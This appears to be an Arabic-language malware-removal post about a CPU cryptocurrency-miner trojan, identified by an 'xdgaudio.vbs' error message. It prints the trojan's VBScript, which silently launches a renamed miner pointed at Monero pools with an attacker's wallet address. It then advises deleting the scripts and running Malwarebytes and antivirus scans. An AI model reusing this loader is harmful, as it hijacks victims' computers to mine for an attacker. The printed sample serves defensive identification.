إذا كنت تتلقى رسالة الخطأ التالية المتعلقة بـ "xdgaudio.vbs" في نظامك ، فمن المرجح أن يكون جهاز الكمبيوتر الخاص بك مصابًا.
الخط: 3
شار: 1
خطأ: لا يمكن للنظام العثور على الملف المحدد.
الكود: 80070002
المصدر: (فارغ)
عند تحريره باستخدام المفكرة ، قد يحتوي البرنامج النصي على أسطر مثل أدناه:
Dim WShell Set WShell = CreateObject("WScript.Shell") WShell.Run "wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -px -k -o stratum+tcp://mine.moneropool.com:3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -px", 0 Set WShell = Nothing يبدو هذا بالتأكيد مثل حصان طروادة CPU / cryptocurrency Miner الذي لا يبطئ جهاز الكمبيوتر الخاص بك فحسب ، بل يمكن أن يشكل أيضًا تهديدًا للأمان. يجب حذف ملفات البرنامج النصي c: \ windows \ xdgaudio.vbs و c: \ windows \ servicecrsssr.vbs . هذا لا يكفي. قم بإجراء فحص شامل باستخدام برنامج Malwarebytes لمكافحة البرامج الضارة ، وكذلك المسح باستخدام برنامج مكافحة الفيروسات الذي تستخدمه.
للحصول على تعليمات تفصيلية حول إزالة مثل Miner Trojan ، راجع دليل malwaretips.com كيفية إزالة CPU Miner Trojan من Windows (دليل تعليمات الفيروسات) .
